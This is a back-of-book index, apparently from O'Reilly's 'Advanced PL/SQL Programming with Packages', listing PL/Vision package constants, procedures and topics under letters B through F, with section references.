11.5. Binding Objects to a Dynamic Cursor
blank lines (see whitespace)
body, package (see packages)
Boolean
converting to strings : 6.4.1. Converting Boolean to String
function : 16.2.3.2. Generated function examples
get-and-set procedure : 16.2.4.1. Generating a Boolean get-and-set
boolstg function
5.3.6. Miscellaneous programs
6.4.1. Converting Boolean to String
6.6. The Predefined Constants
boundary checking : 3.8.1. When the num_in Argument Is 0
building block packages : 4.2.1. Building Blocks
building packages : 1.5.3. Build-Your-Own Packages
built-in packages : 1.5.1. Builtin Packages
BYO packages : 1.5.3. Build-Your-Own Packages

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: C

c_after constant : 5.13.1. Package constants
c_all constant : 5.21.1. Package constants
c_all_tokens constant : 5.22.1. Package constants
c_append constant : 5.11.1. Package constants and exceptions
c_before constant : 5.13.1. Package constants
c_bi_tokens constant : 5.22.1. Package constants
c_both constant : 5.13.1. Package constants
c_datemask constant
5.3.1. PL/Vision constants
6.2. Setting the PL/Vision Date Mask
c_def_length constant : 5.13.1. Package constants
c_default constant : 21.1.5.3. Types of rollback activity
c_delim constant
5.21.1. Package constants
21.1.4. Managing a PL/SQL Table Log
c_dosdelim constant
5.11.1. Package constants and exceptions
13.2.1. Setting the Operating System Delimiter
c_examples constant : 5.14.1. Package constants
c_go constant
5.10.1. Package constants
22.1.4. Exception Handling Actions
c_ignore_case constant : 5.21.1. Package constants
c_incr_indent constant : 5.13.1. Package constants
c_indent constant : 5.13.1. Package constants
c_int_no_change constant : 5.12.1. Package Constants
c_kw_tokens constant : 5.22.1. Package constants
c_last constant : 21.1.5.3. Types of rollback activity
c_last_pos constant : 5.28.1. Package constants
c_leph constant
5.20.6. Programmatic cursor FOR loop elements
11.7. A Programmatic Cursor FOR Loop
11.7.2. Constructing the Execution String
c_literal constant : 5.13.1. Package constants
c_main constant : 5.14.1. Package constants
c_modname constant
5.20.6. Programmatic cursor FOR loop elements
11.7. A Programmatic Cursor FOR Loop
c_modspec constant
5.20.6. Programmatic cursor FOR loop elements
11.7. A Programmatic Cursor FOR Loop
c_no_change constant : 5.12.1. Package Constants
c_noaction constant : 21.1.5.3. Types of rollback activity
c_none constant
5.13.1. Package constants
21.1.5.3. Types of rollback activity
c_nonkw_tokens constant : 5.22.1. Package constants
c_nousecor constant : 5.4.1. Package constants
c_PLVlogsp constant : 21.1.5.3. Types of rollback activity
c_prefix constant
5.2.3. Setting the line prefix
5.12.1. Package Constants
7.3. The Output Prefix
c_read constant : 5.11.1. Package constants and exceptions
c_recNgo constant
5.10.1. Package constants
22.1.4. Exception Handling Actions
c_recNstop constant
5.10.1. Package constants
22.1.4. Exception Handling Actions
c_respect_case constant : 5.21.1. Package constants
c_show_object constant
5.20.6. Programmatic cursor FOR loop elements
11.7. A Programmatic Cursor FOR Loop
11.7.2. Constructing the Execution String
c_stop constant
5.10.1. Package constants
22.1.4. Exception Handling Actions
c_suffix constant : 5.12.1. Package Constants
c_top_pos constant
5.28.1. Package constants
21.2.4.7. Retrieving stack contents
c_unixdelim constant
5.11.1. Package constants and exceptions
13.2.1. Setting the Operating System Delimiter
c_usecor constant : 5.4.1. Package constants
c_word constant : 5.21.1. Package constants
c_write constant : 5.11.1. Package constants and exceptions
calc_totals procedure : 22.1.6.5. Integrating PLVexc with PLVtrc
calibrate procedure : 5.27.6. Calibration and timing scripts
calltype function : 6.3.1. Using the assert Procedure
capitalization
2.2. Using Effective Coding Style for Packages
15.4.1. How to Find Source Code
18.1. PLVcase: Converting the Case of PL/SQL Programs
case sensitivity : 2.5.2. Making Your Programs Case-Insensitive
capture procedure
5.27.4. Capturing the current timestamp
14.2. Capturing the Start Time
case sensitivity : 2.5.2. Making Your Programs Case-Insensitive
cataloging code : 18.2. PLVcat: Cataloguing PL/SQL Source Code
cfloop procedure
5.13.10. Miscellaneous code generators
16.2.8. Generating a Cursor FOR Loop
char_name function : 5.6.3. Other functions and procedures
characters
line separator : 7.2. The Line Separator
string :5.6. PLVchr: Operations on Single Characters
(see also strings)
checking existence
Record Found? function : 16.2.7. Generating a "Record Found?" Function
of files : 13.3. Creating and Checking Existence of Files
last PLVobj cursor record : 11.4.3. Checking for Last Record
checking input : 3.8.1. When the num_in Argument Is 0
clear_bailouts procedure
5.10.7. Bailing out program execution
22.1.10.1. Managing the bailout error list
clear_pstab procedure
5.17.6. Managing the log
21.1.4.1. Counting and clearing the PL/SQL table
clearecs procedure
5.28.8. Accessing the PLVtrc execution call stack (ECS)
21.2.4.5. Emptying the stack
clearing : (see deleting)
client-side packages : 1.2.2. The Client-Side Layers
close_objects procedure
5.20.5. Interfacing with the PLVobj cursor
11.4.1. Opening and Closing the PLVobj Cursor
closesrc procedure
5.15.4. Managing the source repository
12.9.1. Closing the Source
closetrg procedure
5.15.6. Managing the target repository
12.9.2. Closing the Target
closing files
13.4. Opening and Closing Files
21.1.3.2. Closing the file
: 5.11.8. Closing a file
PLVobj cursor : 11.4.1. Opening and Closing the PLVobj Cursor
repository : 12.9.1. Closing the Source
clrtrg procedure
5.15.6. Managing the target repository
12.9.3. Clearing the Target
code
(see also programming technique)
1.2.1. The Iceberg Approach to Coding
author : 16.3.2. Setting the Code Author
cataloging : 18.2. PLVcat: Cataloguing PL/SQL Source Code
compiling : 15. PLVvu: Viewing Source Code and Compile Errors
with PLVdyn package : 19.4.1.7. Compiling source code with PLVdyn
consolidating : 2.9.2. Lava Lamp Code Consolidation
converting case of : 18.1.2. A Script to Convert Programs
converting to PL/SQL programs : 4.4.3. Converting Scripts to PL/SQL Programs
created during installation : 4.6. Summary of Files on Disk
customizing for users : 2.8.1.2. Fitting the program to the user
debugging/testing : 22.1. The Challenge of Exception Handling
development : 3. The PL/SQL Development Spiral
displaying : 15.2.2. Setting the Code Overlap
dynamic PL/SQL : 19.5.5. Executing Dynamic PL/SQL Code
elapsed time of : 5.27. PLVtmr: Program Performance Analyzer
execution time of : (see performance)
finding source code : 15.4.1. How to Find Source Code
for testing code : 4.6.2. Contents of the test Subdirectory
generating
5.13. PLVgen: PL/SQL Code Generator
16. PLVgen: Generating PL/SQL Programs
generation toggles : 2.6.2. Toggles for Code Generation
halting execution of : 5.10.6. Exception handlers
implementing windows : 2.7.3. Implementing the Window
layers of : (see packages)
line numbers : 16.3.8. Generating Line Numbers
overloading programs : 2.8. Overloading for Smart Packages
parallelization : 1.5.1.1. Leveraging builtin packages
parsing
5.22. PLVprsps: PL/SQL Source Code Parsing
10.3.2. Parsing PL/SQL Code
parsing program name : 11.3.2. Converting the Program Name
pausing programs : 5.3.6. Miscellaneous programs
pinning into memory : 1.4.3.1. Managing packages in shared memory
PL/SQL repositories : 12. PLVio: Reading and Writing PL/SQL Source Code
PLVtmr package with : 14.4. Using PLVtmr in Scripts
redundant : (see redundancy)
reusing
(see flexibilty, code)
1.2.1. The Iceberg Approach to Coding
4.1.1. The Benefits of PL/Vision
size restrictions : 1.6.4. Working with Large Packages
standard header : 16.3.3. Using the Program Header
stored : 5.29. PLVvu: Code and Error Viewing
testing/debugging : 4.1.1. The Benefits of PL/Vision
tracing : 16.3.4. Using the Program Trace
upgrades and fixes : 1.6.1.6. Hide weaknesses to facilitate upgrades and fixes.
code procedure
5.29.3. Displaying stored code
15.4.1. How to Find Source Code
17.2. Current Sources of Information
code_after procedure
5.29.3. Displaying stored code
15.3.2. Displaying Code by Keyword
17.2. Current Sources of Information
codependency, package : 2.4.1. Creating Codependent Packages
columns, table : (see tables)
comments
2.2. Using Effective Coding Style for Packages
5.13.5. Help generators
5.16.1. Analyzing PL/SQL string content
10.3.2.1. plsql_string procedure
17.4.3. Creating Help Text
generating
16.2.5.1. Generating help text stubs
16.3.7. Generating Online Help Text Stubs
retrieving : 17.5.3. Implementing Online Help
commit processing : 20.1. PLVcmt: Enhancing Commit Processing
incremental commits : 20.1.3. Performing Incremental Commits
toggling : 20.1.4. Controlling Commit Processing
commit_after procedure
5.7.4. Managing the commit counter
12.9.3. Clearing the Target
20.1.3.1. Setting the commit point
commits : A.2.6. Builtin Packages
committing function : 5.7.1. Controlling commit activity
compatibility
3.3. Supplying Backward Compatibility
3.11. Don't Forget Backward Compatibility
compile procedure
5.9.4. Data Definition Language operations
19.4.1.7. Compiling source code with PLVdyn
compiling errors
15. PLVvu: Viewing Source Code and Compile Errors
5.29.4. Displaying compile errors
compiling code
1.3.6. Performance Improvement
with PLVdyn : 19.4.1.7. Compiling source code with PLVdyn
conditional logic
A.1.1. Conditional Logic
A.2.1. Conditional Logic
configuring PLVfk package : 19.6.2. Configuring the PLVfk Package
CONNECT command : 7.1.2. Displaying Dates
consolidation of code : 2.9.2. Lava Lamp Code Consolidation
CONSTANT declaration : 1.6.1.4. Remove hard-coded literals from your application
constants: (see literals)
convert_type procedure
5.20.8. Miscellaneous PLVobj programs
11.3.2. Converting the Program Name
converting
PL/SQL table to database table : 21.1.4.3. Transferring a PL/SQL table log to a database table
case : (see capitalization)
program name : 11.3.2. Converting the Program Name
scripts into PL/SQL : 4.4.3. Converting Scripts to PL/SQL Programs
convobj procedure
5.20.8. Miscellaneous PLVobj programs
11.3.2. Converting the Program Name
copying
file contents : 13.7. Copying File Contents
files : 5.11.11. Copying a file
from source to target repository : 5.15.9. Miscellaneous PLVio programs
object names into table : 11.6. Populating a PL/SQL Table with Object Names
source to target repository : 12.7.2. Batch Transfer of Source to Target
cor procedure : 19.4.1.7. Compiling source code with PLVdyn
counter, commit : 5.7.4. Managing the commit counter
counter, PLVcmt : (see PLVcmt package)
cover packages : 1.6.4. Working with Large Packages
CPU time : (see performance)
CREATE OR REPLACE
17.5.2. Locating Text in the Data Dictionary
: 19.4.1.7. Compiling source code with PLVdyn
create-or-replace syntax : 16.3.9. Including CREATE OR REPLACE
creating
files : 13.3. Creating and Checking Existence of Files
lists : 5.18.2. Creating and destroying lists
messages : 9.2. Storing Message Text
stacks : 5.24.2. Creating and destroying stacks
creativity : 4.1.1. The Benefits of PL/Vision
curdecl procedure
5.13.10. Miscellaneous code generators
16.2.6. Generating a Cursor Declaration
curfail procedure : 5.27.6. Calibration and timing scripts
currmod function
5.28.6. Tracing PL/SQL code execution
21.2.4.3. Current module
currname function
5.20.4. Accessing the current object
11.3.1. Setting Individual Elements of Current Object
currschema function
5.20.4. Accessing the current object
11.3.1. Setting Individual Elements of Current Object
currtype function
5.20.4. Accessing the current object
11.3.1. Setting Individual Elements of Current Object
cursors
A.1.4. Cursors
A.2.4. Cursors
1.3.4. Object Persistence
1.4.1. The Package Specification
binding objects to : 11.5. Binding Objects to a Dynamic Cursor
FOR loop
11.7. A Programmatic Cursor FOR Loop
16.2.8. Generating a Cursor FOR Loop
generating declaration : 16.2.6. Generating a Cursor Declaration
PLVobj : 5.20.5. Interfacing with the PLVobj cursor
PLVobj package (obj_cur)
11.2.1. Cursor Into ALL_OBJECTS
11.4.1. Opening and Closing the PLVobj Cursor
cursucc procedure : 5.27.6. Calibration and timing scripts
customizing parsing delimiter : 10.1.2. Customizing the Delimiter Set
customizing programs for users : 2.8.1.2. Fitting the program to the user

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: D

data
changing accessibility of : 1.4.4.2. Switching between public and private
controlling with packages : 1.6.1.2. Maintain control over your data structures
error, consistency of : 22.2.1.1. Recording consistent error data
global
(see global data)
2.10.3. Simplifying Package Interfaces
package : (see packages)
private
(see private data)
(see private elements)
program assumptions on : 3.7. Handling Program Assumptions
public
(see public data)
(see public elements)
supporting with overloading
2.8.1.1. Supporting many data combinations
2.8.1.3. Unambiguous, simple arguments
Data Definition Language (DDL) : 19.4.1. DDL Operations
database code repository : 12.2.2. Database Source or Target
database tables : (see tables)
datatypes : (see types)
date and time : 6.4.3. Retrieving Date and Time
date format mask
5.3.1. PL/Vision constants
6.2. Setting the PL/Vision Date Mask
7.1.2. Displaying Dates
elapsed time
5.27.5. Retrieving and displaying elapsed time
14.3. Retrieving and Displaying the Elapsed Time
elapsed time of : 5.27. PLVtmr: Program Performance Analyzer
now function : 5.3.6. Miscellaneous programs
timer : 14. PLVtmr: Analyzing Program Performance
timer script : 16.2.9. Generating a Timer Script
updating in tables : 19.5.3. Executing dynamic UPDATEs
datemask function
5.3.3. Setting the date format mask
6.2. Setting the PL/Vision Date Mask
DBMS_ TRANSACTION package : 1.5.1. Builtin Packages
DBMS_ALERT package : 1.5.1. Builtin Packages
DBMS_DDL package : 1.5.1. Builtin Packages
DBMS_DESCRIBE package
DESCRIBE_PROCEDURE procedure : 17.2. Current Sources of Information
DBMS_JOB package : 1.5.1. Builtin Packages
DBMS_LOCK package : 1.5.1. Builtin Packages
DBMS_MAIL package : 1.5.1. Builtin Packages
DBMS_OUTPUT package
1.5.1. Builtin Packages
7.1.2. Displaying Dates
22.3.2.2. Drawbacks of the usual handlers
ENABLE procedure : 7.4. Controlling Output from p
PUT_LINE function : 7. p: A Powerful Substitute for DBMS_OUTPUT
PUT_LINE package
(see also p package)
5.2. p: a DBMS_OUTPUT Substitute
PUT_LINE procedure : 2.8.1.1. Supporting many data combinations
DBMS_PIPE package
1.5.1. Builtin Packages
1.5.1.1. Leveraging builtin packages
DBMS_SESSION package : 1.5.1. Builtin Packages
DBMS_SHARED_POOL package : 1.4.3.1. Managing packages in shared memory
DBMS_SNAPSHOT package : 1.5.1. Builtin Packages
DBMS_SQL package
1.5.1. Builtin Packages
19. PLVdyn and PLVfk: Dynamic SQL and PL/SQL
19.3. The Dynamic Packages of PL/Vision
19.5.6.1. Open and parse
BIND_VARIABLE : 5.20.8. Miscellaneous PLVobj programs
EXECUTE procedure : 19.5.4. Checking feedback on DML
DBMS_STANDARD packages : 1.2. What Are the Types and Layers of Packages?
DBMS_UTILITY package : 1.5.1. Builtin Packages
FORMAT_CALL_STACK function : 21.2.2. Accessing the PL/SQL Call Stack
GET_TIME function : 14. PLVtmr: Analyzing Program Performance
NAME_RESOLVE procedure : 11.3.2. Converting the Program Name
dbtab constant : 5.3.1. PL/Vision constants
DDL (Data Definition Language) : 19.4.1. DDL Operations
schemas : 19.5.10.2. Avoiding schema confusion for DDL
operations : 5.9.4. Data Definition Language operations
ddl procedure
5.9.4. Data Definition Language operations
19.4.1.1. Generic DDL interface
19.5.6.3. Parse for delete
debugging code : 4.1.1. The Benefits of PL/Vision
debugging programs
(see also tracing)
2.6.3.1. The test/debug cycle in PL/SQL
5.28.1. Package constants
declarative programming : 19.2. Declarative Programming in PL/SQL
declaring
anchored declarations : 2.10.5. Anchoring to Public Variables
cursors : 16.2.6. Generating a Cursor Declaration
packages : 1.4.1. The Package Specification
private before public : 2.2.1. Choosing the Order of Elements
variables
1.4.1. The Package Specification
2.10.1. Gaining Control of Your Data
default
date format mask : 6.2. Setting the PL/Vision Date Mask
directory/folder : 5.11.4. Setting the default directory or location
line separator : 7.2. The Line Separator
message table names : 9.2.2. Batch Loading of Message Text
PLVlog : 21.1.5.4. Setting the default "rollback to" behavior
source WHERE clause : 12.4. The Source WHERE Clause
string function values : 16.2.3.3. Default values for string functions
default directory : 13.2.2. Setting the Default Directory
defstk constant : 5.24.1. Package constants
deleteitem procedure : 5.18.3. Modifying list contents
deleting
execution stack contents : 21.2.4.5. Emptying the stack
from bailout error list : 22.1.10.1. Managing the bailout error list
from tables : 19.5.2. Executing dynamic DELETEs
PL/SQL table contents : 21.1.4.1. Counting and clearing the PL/SQL table
stacks : 5.24.2. Creating and destroying stacks
table rows : 8.6. Emptying Tables with PLVtab
target repository contents : 12.9.3. Clearing the Target
delim function : 5.11.3. Setting the operating system delimiter
delim procedure : 13.2.1. Setting the Operating System Delimiter
delimiter
customizing : 10.1.2. Customizing the Delimiter Set
line separator : 7.2. The Line Separator
operating system
5.11.3. Setting the operating system delimiter
13.2.1. Setting the Operating System Delimiter
string : 5.21.1. Package constants
UNIX and MS-DOS
5.11.1. Package constants and exceptions
13.2.1. Setting the Operating System Delimiter
dependency, identifying with PLVcat : 18.2.4. Identifying References and Dependencies
dependency, package : 2.4.1. Creating Codependent Packages
DESCRIBE command : 17.2. Current Sources of Information
designing programs : (see programming technique)
destroy procedure : 5.18.2. Creating and destroying lists
destroying : (see deleting)
DEV account : 4.4.1. Special Handling for PLVdyn
developer utilities : 4.2.2. Developer Utilities
developers : 2.5.1. Seeing Developers as Users
development
1.3.6. Performance Improvement
3. The PL/SQL Development Spiral
upgrades and fixes : 1.6.1.6. Hide weaknesses to facilitate upgrades and fixes.
of PL/Vision : 4.1.2. The Origins of PL/Vision
dir function
5.11.4. Setting the default directory or location
13.2.2. Setting the Default Directory
directories
default : 13.2.2. Setting the Default Directory
setting default : 5.11.4. Setting the default directory or location
directory, PL/Vision : 4.3.3. Beginning the Installation
disp_line procedure : 15.4.2.5. Moving to a PL/SQL-based solution
disp_text procedure : 15.4.1. How to Find Source Code
display function : 8.2. Displaying PLVtab Tables
display prefix : 8.5. Setting the Display Prefix
display procedure
5.11.12. Displaying the contents of a file
5.17.5. Reading the log
5.25.8. Displaying a PLVtab table
8.7. Implementing PLVtab.display
13.8. Displaying File Contents
21.1.6. Displaying the Log
display_atomics procedure
5.21.4. Parsing strings
10.1.3.2. display_atomics procedure
display_err procedure : 15.4.2.8. Fine-tuning code display
display_exception procedure : 22.3.3.4. Displaying the exception
display_line procedure : 15.4.2.8. Fine-tuning code display
display_row procedure : 8.7. Implementing PLVtab.display
display_wrap function : 5.21.2. Wrapping long strings into paragraphs
display_wrap procedure : 10.1.4.2. display_wrap procedure
display_wrap program : 8.2.1. Displaying Wrapped Text
displaying_module function
5.28.4. Displaying current module
21.2.1. Directing Output from PLVtrc
dispmod procedure
5.28.4. Displaying current module
21.2.1. Directing Output from PLVtrc
disptab procedure : 5.9.7. Miscellaneous programs
disptrg procedure
5.15.6. Managing the target repository
12.7.3. Displaying the Target Repository
distributed execution : 1.3.6. Performance Improvement
DMBS_LOCK page
SLEEP procedure : 17.5.6.1. A futile first effort
DML statements
1.6.1.5. Isolate volatile areas of functionality
19.5. DML Operations
dml_delete procedure
5.9.5. Data Manipulation Language operations
19.5.2. Executing dynamic DELETEs
19.5.6.3. Parse for delete
dml_insert_select procedure
5.9.5. Data Manipulation Language operations
19.5.1. Performing an INSERT-SELECT FROM
dml_update procedure
5.9.5. Data Manipulation Language operations
19.5.3. Executing dynamic UPDATEs
do_rb procedure : 21.1.5.6. Performing different kinds of rollbacks
do_rollback
5.17.7. Rolling back in PLVlog
21.1.5.1. Toggling rollback activity
documentation
(see also help)
2.2. Using Effective Coding Style for Packages
comments : 16.3.7. Generating Online Help Text Stubs
help generators : 5.13.5. Help generators
online : 17. PLVhlp: Online Help for PL/SQL Programs
online help
4.4. Installing Online Help for PL/Vision
4.5. Using Online Help
5.14. PLVhlp: Online Help Architechture
12.1. Why PLVio?
generating : 16.3.7. Generating Online Help Text Stubs
online reference : 4.3.4. Using the PL/Vision Lite Online Reference
DOS delimiter : 13.2.1. Setting the Operating System Delimiter
dot notation
1.4.2. Referencing Package Elements
2.3. Selecting Package Names
2.3.2. Avoiding Redundancy
drop_object procedure
5.9.4. Data Definition Language operations
19.4.1.2. Dropping and truncating objects with PLVdyn
dumping DDL : (see DDL)

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: E

ECS (execution call stack) : 5.28.8. Accessing the PLVtrc execution call stack (ECS)
ecs_string function
5.28.8. Accessing the PLVtrc execution call stack (ECS)
21.2.4.7. Retrieving stack contents
elapsed function
5.27.5. Retrieving and displaying elapsed time
14.3. Retrieving and Displaying the Elapsed Time
elapsed time
14.3. Retrieving and Displaying the Elapsed Time
5.27. PLVtmr: Program Performance Analyzer
elapsed_message function
5.27.5. Retrieving and displaying elapsed time
14.3.1. elapsed_message Function
elements
arrays : (see arrays)
packages : (see packages)
empty procedure : 8.6.1. Improving the Delete Process
empty tables
5.25.2. The empty PL/SQL tables
8.6. Emptying Tables with PLVtab
ENABLE procedure : 7.4. Controlling Output from p
enabling access : (see access)
encapsulating data : (see access, package elements)
encapsulation : (see modularization)
END : (see BEGIN-END block syntax)
end-of-file marker : 13.5.1. Reading the Next Line
endcmnt function : 17.5.3.1. Functions to scan USER_SOURCE
ends_multiline_comment function : 5.16.1. Analyzing PL/SQL string content
entity-relationship diagram (ERD) : 1.6.1.5. Isolate volatile areas of functionality
equal sign (=) : 16.2.3.3. Default values for string functions
ERD (entity-relationship diagram) : 1.6.1.5. Isolate volatile areas of functionality
err procedure
5.29.4. Displaying compile errors
11.3.1. Setting Individual Elements of Current Object
15.2. Displaying Compile Errors
15.4.2. Implementing the SHOW ERRORS Alternative
errm function
5.3.6. Miscellaneous programs
6.4.2. Obtaining the Error Message
6.6. The Predefined Constants
error codes : 22.1.6.1. The handle procedure
error messages : 22.1.6.4. Defining error messages with PLVmsg
errors
(see also exceptions)
1.6.3.2. The exception section
3.7. Handling Program Assumptions
6.4.2. Obtaining the Error Message
13.1.4. Handling UTL_FILE Errors
bailout : 22.1.10. Bailing Out with PLVexc
boundary checking : 3.8.1. When the num_in Argument Is 0
compiling
5.29.4. Displaying compile errors
15.1.2. What SHOW ERRORS Does
consistent data on : 22.2.1.1. Recording consistent error data
messages : (see messages)
PLVmsg with : 9.5. Integrating PLVmsg with Error Handling
recording : 22.1.7. Recording Errors
rollbacks on : 22.1.8. Rolling Back When an Exception Occurs
UTL_FILE package : 13.1.4. Handling UTL_FILE Errors
exc_section procedure : 13.9. Handling File Errors with PLVfile
EXCEPTION_INIT pragma : 5.10.2. Package-based exceptions
exceptions
(see also errors)
A.1.3. Exception Handling
A.2.3. Exception Handling
3.7. Handling Program Assumptions
5.10. PLVexc: Exception Handling
13.1.4. Handling UTL_FILE Errors
16.3.5. Using the PLVexc Exception Handler
21.1.2.1. Using put_line
22. Exception Handling
assertion_failure : 5.3.5. Assertion routines
file : 13.9. Handling File Errors with PLVfile
insert failure : 5.15.1. Package constants and exceptions
INVALID_PATH : 13.9. Handling File Errors with PLVfile
list_full : 5.18.1. Package exceptions
list_undefined : 5.18.1. Package exceptions
messages : (see messages)
NO_DATA_FOUND : 21.2.5. Using PLVtrc
NO_SUCH_TABLE : 22.1.2. Package-Based Exceptions
out_of_bounds : 5.18.1. Package exceptions
package exception section : 1.6.3.2. The exception section
PLVmsg with : 9.5. Integrating PLVmsg with Error Handling
process halted : 22.1.10. Bailing Out with PLVexc
recording
22.1.7. Recording Errors
22.3.3.3. Recording the exception
resulting action options : 22.1.4. Exception Handling Actions
SNAPSHOT_TOO_OLD : 22.1.2. Package-Based Exceptions
UTL_FILE package : 13.1.4. Handling UTL_FILE Errors
VALUE_ERROR
A.1.3. Exception Handling
A.2.3. Exception Handling
13.1.4. Handling UTL_FILE Errors
WRITE_ERROR : 13.1.4. Handling UTL_FILE Errors
execsql procedure
5.9.2. Controlling execution of dynamic SQL
19.5.8. Controlling Execution of Dynamic SQL
execute authority
1.3.5. Guaranteeing Transaction Integrity
4.3.6. Granting Access to PL/Vision
execute procedure
5.9.3. Bundled, low-level operations
19.5.6.4. Passthrough elements
EXECUTE procedure : 19.5.4. Checking feedback on DML
execute_and_close procedure
5.9.3. Bundled, low-level operations
19.5.6.2. Execute and close
execute_and_fetch procedure
5.9.3. Bundled, low-level operations
19.5.6.4. Passthrough elements
executing function : 5.9.2. Controlling execution of dynamic SQL
execution privileges, DDL : 19.4.1. DDL Operations
execution time : (see performance)
existence checking, files : 5.11.6. Checking for file existence
extensions
file : 2.4. Organizing Package Source Code
package element names : 2.3.3. Avoiding Superfluous Naming Elements

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: F

factor function
5.27.3. Setting the factoring value
14.3.3. Setting the Timing Factor
fclose procedure
5.11.8. Closing a file
5.17.6. Managing the log
13.4. Opening and Closing Files
21.1.3.2. Closing the file
fclose_all procedure
5.11.8. Closing a file
13.4. Opening and Closing Files
fcopy procedure
5.11.11. Copying a file
13.7.1. Copying File to File
fcreate function
5.11.5. Creating files
13.3. Creating and Checking Existence of Files
fetch_object procedure
5.20.5. Interfacing with the PLVobj cursor
11.4.2. Fetching from the PLVobj Cursor
fetching from PLVobj cursor : 11.4.2. Fetching from the PLVobj Cursor
fexists function
5.11.6. Checking for file existence
13.3.1. Checking a File's Existence
fifo constant : 5.24.1. Package constants
file constant : 5.3.1. PL/Vision constants
file handles : 13.1.2. File Handles
file2list procedure
5.11.11. Copying a file
13.7.3. Copying File to List
file2pstab procedure
5.11.11. Copying a file
13.7.2. Copying File to PL/SQL Table
FILE_TYPE datatype : 13.1.2. File Handles
files : 13. PLVfile: Reading and Writing Operating System Files
as code repository : 12.2.5. Standard Output Target
checking for existence of
5.11.6. Checking for file existence
13.3. Creating and Checking Existence of Files
closing : 21.1.3.2. Closing the file
copying
5.11.11. Copying a file
13.7. Copying File Contents
created during installation : 4.6. Summary of Files on Disk
creating : 5.11.5. Creating files
file errors : 13.9. Handling File Errors with PLVfile
filenames : 13.1.3. File Location, Name, and Mode
log : 21.1.3. Selecting the Log Type
logging : (see logging)
name extensions : 2.4. Organizing Package Source Code
opening and closing
5.11.7. Opening a file
13.4. Opening and Closing Files
parsing name of : 5.11.13. Miscellaneous operations
reading from : 13.5. Reading From a File
reading from and writing to : 5.11.9. Reading from a file
writing to : 13.6. Writing to a File
finding
foreign key names : 19.6.3. Looking Up the Name
help text : 17.5.2. Locating Text in the Data Dictionary
Record Found? function : 16.2.7. Generating a "Record Found?" Function
source code : 15.4.1. How to Find Source Code
fixes, code : 1.6.1.6. Hide weaknesses to facilitate upgrades and fixes.
fky procedure : 5.8.3. Dumping the DDL
flexibility
2.5.1. Seeing Developers as Users
2.6. Building Flexibility Into Your Packages
2.10. Hiding Package Data
16.4.3.1. Flexibility of put_line
logging : 21.1.3. Selecting the Log Type
transaction processing : 20.1.1. Who Needs PLVcmt?
folder
default : 13.2.2. Setting the Default Directory
PL/Vision : 4.3.3. Beginning the Installation
setting default : 5.11.4. Setting the default directory or location
fopen procedure
5.11.7. Opening a file
13.4. Opening and Closing Files
FOR loop, cursor
16.2.8. Generating a Cursor FOR Loop
FOR loop, cursor : 11.7. A Programmatic Cursor FOR Loop
foreign key information : 5.12. PLVfk: Foreign Key Interface
foreign key lookup
A.1.8. Module Evaluation: Foreign Key Lookup
A.2.8. Module Evaluation: Foreign Key Lookup
foreign key lookups : 19.6. PLVfk: Generic Foreign Key Lookups
format
date : (see date and time)
help text : 17.4.3. Creating Help Text
FORMAT_CALL_STACK function : 21.2.2. Accessing the PL/SQL Call Stack
formatting code : 5.13. PLVgen: PL/SQL Code Generator
fullname function : 5.20.4. Accessing the current object
func procedure
5.13.8. Generating functions
5.27.6. Calibration and timing scripts
14.4.2. Calculating Overhead of an Action
16.2.3. Generating a Function
16.4.4. Overloading in PLVgen
functions
(see also under specific function name)
A.1.5. Builtin Functions
1.6.5. Calling Packaged Functions in SQL
3.6. Building a Structured Function
5.13.8. Generating functions
avoiding ambiguous arguments : 2.8.1.3. Unambiguous, simple arguments
built-in : A.2.5. Builtin Functions
generating : 16.2.3. Generating a Function
naming : 2.3.1. Choosing Appropriate and Accurate Names
PLV package : 6. PLV: Top-Level Constants and Functions
scope of : 3.8. Broadening the Scope

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: G

